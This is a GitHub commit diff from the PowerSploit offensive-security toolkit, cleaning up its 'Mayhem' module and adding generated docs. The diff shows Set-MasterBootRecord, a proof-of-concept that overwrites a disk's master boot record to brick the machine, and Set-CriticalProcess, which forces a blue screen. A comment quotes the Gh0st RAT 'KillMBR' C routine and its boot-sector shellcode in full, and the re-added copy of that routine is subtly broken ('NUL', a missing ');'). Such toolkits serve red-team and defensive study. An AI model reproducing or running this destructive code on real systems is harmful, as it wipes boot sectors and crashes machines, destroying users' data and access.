Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Commit a81faf3

Browse files
HarmJ0yHarmJ0y
committed
For ./Mayhem/ :
 -PSScriptAnalyzering -Tweaking of synopsis blocks in order to support platyPS -Code standardization -Generated docs
1 parent 1980f40 commit a81faf3

File tree

4 files changed

+391
-93
lines changed

4 files changed

+391
-93
lines changed

‎Mayhem/Mayhem.psm1

+91-89
Original file line numberDiff line numberDiff line change
@@ -3,109 +3,109 @@ function Set-MasterBootRecord
33
<#
44
.SYNOPSIS
55
6-
Proof of concept code that overwrites the master boot record with the
7-
message of your choice.
8-
9-
PowerSploit Function: Set-MasterBootRecord
10-
Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec)
11-
License: BSD 3-Clause
12-
Required Dependencies: None
13-
Optional Dependencies: None
14-
6+
Proof of concept code that overwrites the master boot record with the
7+
message of your choice.
8+
9+
PowerSploit Function: Set-MasterBootRecord
10+
Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec)
11+
License: BSD 3-Clause
12+
Required Dependencies: None
13+
Optional Dependencies: None
14+
1515
.DESCRIPTION
1616
17-
Set-MasterBootRecord is proof of concept code designed to show that it is
18-
possible with PowerShell to overwrite the MBR. This technique was taken
19-
from a public malware sample. This script is inteded solely as proof of
20-
concept code.
17+
Set-MasterBootRecord is proof of concept code designed to show that it is
18+
possible with PowerShell to overwrite the MBR. This technique was taken
19+
from a public malware sample. This script is inteded solely as proof of
20+
concept code.
2121
2222
.PARAMETER BootMessage
2323
24-
Specifies the message that will be displayed upon making your computer a brick.
24+
Specifies the message that will be displayed upon making your computer a brick.
2525
2626
.PARAMETER RebootImmediately
2727
28-
Reboot the machine immediately upon overwriting the MBR.
28+
Reboot the machine immediately upon overwriting the MBR.
2929
3030
.PARAMETER Force
3131
32-
Suppress the warning prompt.
32+
Suppress the warning prompt.
3333
3434
.EXAMPLE
3535
36-
Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC'
36+
Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC'
3737
3838
.NOTES
3939
40-
Obviously, this will only work if you have a master boot record to
41-
overwrite. This won't work if you have a GPT (GUID partition table)
42-
#>
40+
Obviously, this will only work if you have a master boot record to
41+
overwrite. This won't work if you have a GPT (GUID partition table).
4342
44-
<#
4543
This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us):
4644
47-
// CGh0stApp message handlers
48-
49-
unsigned char scode[] =
50-
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
51-
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
52-
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
53-
54-
int CGh0stApp::KillMBR()
55-
{
56-
HANDLE hDevice;
57-
DWORD dwBytesWritten, dwBytesReturned;
58-
BYTE pMBR[512] = {0};
59-
60-
// ????MBR
61-
memcpy(pMBR, scode, sizeof(scode) - 1);
62-
pMBR[510] = 0x55;
63-
pMBR[511] = 0xAA;
64-
65-
hDevice = CreateFile
66-
(
67-
"\\\\.\\PHYSICALDRIVE0",
68-
GENERIC_READ | GENERIC_WRITE,
69-
FILE_SHARE_READ | FILE_SHARE_WRITE,
70-
NULL,
71-
OPEN_EXISTING,
72-
0,
73-
NULL
74-
);
75-
if (hDevice == INVALID_HANDLE_VALUE)
76-
return -1;
77-
DeviceIoControl
78-
(
79-
hDevice,
80-
FSCTL_LOCK_VOLUME,
81-
NULL,
82-
0,
83-
NULL,
84-
0,
85-
&dwBytesReturned,
86-
NULL
87-
);
88-
// ??????
89-
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
90-
DeviceIoControl
91-
(
92-
hDevice,
93-
FSCTL_UNLOCK_VOLUME,
94-
NULL,
95-
0,
96-
NULL,
97-
0,
98-
&dwBytesReturned,
99-
NULL
100-
);
101-
CloseHandle(hDevice);
102-
103-
ExitProcess(-1);
104-
return 0;
105-
}
45+
// CGh0stApp message handlers
46+
47+
unsigned char scode[] =
48+
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
49+
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
50+
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
51+
52+
int CGh0stApp::KillMBR()
53+
{
54+
HANDLE hDevice;
55+
DWORD dwBytesWritten, dwBytesReturned;
56+
BYTE pMBR[512] = {0};
57+
58+
// ????MBR
59+
memcpy(pMBR, scode, sizeof(scode) - 1);
60+
pMBR[510] = 0x55;
61+
pMBR[511] = 0xAA;
62+
63+
hDevice = CreateFile
64+
(
65+
"\\\\.\\PHYSICALDRIVE0",
66+
GENERIC_READ | GENERIC_WRITE,
67+
FILE_SHARE_READ | FILE_SHARE_WRITE,
68+
NULL,
69+
OPEN_EXISTING,
70+
0,
71+
NULL
72+
);
73+
if (hDevice == INVALID_HANDLE_VALUE)
74+
return -1;
75+
DeviceIoControl
76+
(
77+
hDevice,
78+
FSCTL_LOCK_VOLUME,
79+
NULL,
80+
0,
81+
NULL,
82+
0,
83+
&dwBytesReturned,
84+
NUL
85+
)
86+
// ??????
87+
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
88+
DeviceIoControl
89+
(
90+
hDevice,
91+
FSCTL_UNLOCK_VOLUME,
92+
NULL,
93+
0,
94+
NULL,
95+
0,
96+
&dwBytesReturned,
97+
NULL
98+
);
99+
CloseHandle(hDevice);
100+
101+
ExitProcess(-1);
102+
return 0;
103+
}
106104
#>
107105

108-
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param (
106+
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
107+
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')]
108+
Param (
109109
[ValidateLength(1, 479)]
110110
[String]
111111
$BootMessage = 'Stop-Crying; Get-NewHardDrive',
@@ -220,7 +220,7 @@ int CGh0stApp::KillMBR()
220220
$MBRBytes = [Runtime.InteropServices.Marshal]::AllocHGlobal($MBRSize)
221221

222222
# Zero-initialize the allocated unmanaged memory
223-
0..511 | % { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) }
223+
0..511 | ForEach-Object { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) }
224224

225225
[Runtime.InteropServices.Marshal]::Copy($MBRInfectionCode, 0, $MBRBytes, $MBRInfectionCode.Length)
226226

@@ -272,11 +272,11 @@ function Set-CriticalProcess
272272
273273
Causes your machine to blue screen upon exiting PowerShell.
274274
275-
PowerSploit Function: Set-CriticalProcess
276-
Author: Matthew Graeber (@mattifestation)
277-
License: BSD 3-Clause
278-
Required Dependencies: None
279-
Optional Dependencies: None
275+
PowerSploit Function: Set-CriticalProcess
276+
Author: Matthew Graeber (@mattifestation)
277+
License: BSD 3-Clause
278+
Required Dependencies: None
279+
Optional Dependencies: None
280280
281281
.PARAMETER ExitImmediately
282282
@@ -300,7 +300,9 @@ Set-CriticalProcess -Force -Verbose
300300
301301
#>
302302

303-
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param (
303+
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
304+
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')]
305+
Param (
304306
[Switch]
305307
$Force,
306308

@@ -319,7 +321,7 @@ Set-CriticalProcess -Force -Verbose
319321
{
320322
$Response = $psCmdlet.ShouldContinue('Have you saved all your work?', 'The machine will blue screen when you exit PowerShell.')
321323
}
322-
324+
323325
if (!$Response)
324326
{
325327
return

‎docs/Mayhem/Set-CriticalProcess.md

+108
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,108 @@
1+
# Set-CriticalProcess
2+
3+
## SYNOPSIS
4+
Causes your machine to blue screen upon exiting PowerShell.
5+
6+
PowerSploit Function: Set-CriticalProcess
7+
Author: Matthew Graeber (@mattifestation)
8+
License: BSD 3-Clause
9+
Required Dependencies: None
10+
Optional Dependencies: None
11+
12+
## SYNTAX
13+
14+
```
15+
Set-CriticalProcess [-Force] [-ExitImmediately] [-WhatIf] [-Confirm]
16+
```
17+
18+
## DESCRIPTION
19+
{{Fill in the Description}}
20+
21+
## EXAMPLES
22+
23+
### -------------------------- EXAMPLE 1 --------------------------
24+
```
25+
Set-CriticalProcess
26+
```
27+
28+
### -------------------------- EXAMPLE 2 --------------------------
29+
```
30+
Set-CriticalProcess -ExitImmediately
31+
```
32+
33+
### -------------------------- EXAMPLE 3 --------------------------
34+
```
35+
Set-CriticalProcess -Force -Verbose
36+
```
37+
38+
## PARAMETERS
39+
40+
### -Force
41+
Set the running PowerShell process as critical without asking for confirmation.
42+
43+
```yaml
44+
Type: SwitchParameter
45+
Parameter Sets: (All)
46+
Aliases:
47+
48+
Required: False
49+
Position: Named
50+
Default value: False
51+
Accept pipeline input: False
52+
Accept wildcard characters: False
53+
```
54+
55+
### -ExitImmediately
56+
Immediately exit PowerShell after successfully marking the process as critical.
57+
58+
```yaml
59+
Type: SwitchParameter
60+
Parameter Sets: (All)
61+
Aliases:
62+
63+
Required: False
64+
Position: Named
65+
Default value: False
66+
Accept pipeline input: False
67+
Accept wildcard characters: False
68+
```
69+
70+
### -WhatIf
71+
Shows what would happen if the cmdlet runs.
72+
The cmdlet is not run.
73+
74+
```yaml
75+
Type: SwitchParameter
76+
Parameter Sets: (All)
77+
Aliases: wi
78+
79+
Required: False
80+
Position: Named
81+
Default value: None
82+
Accept pipeline input: False
83+
Accept wildcard characters: False
84+
```
85+
86+
### -Confirm
87+
Prompts you for confirmation before running the cmdlet.
88+
89+
```yaml
90+
Type: SwitchParameter
91+
Parameter Sets: (All)
92+
Aliases: cf
93+
94+
Required: False
95+
Position: Named
96+
Default value: None
97+
Accept pipeline input: False
98+
Accept wildcard characters: False
99+
```
100+
101+
## INPUTS
102+
103+
## OUTPUTS
104+
105+
## NOTES
106+
107+
## RELATED LINKS
108+

0 commit comments

Comments
 (0)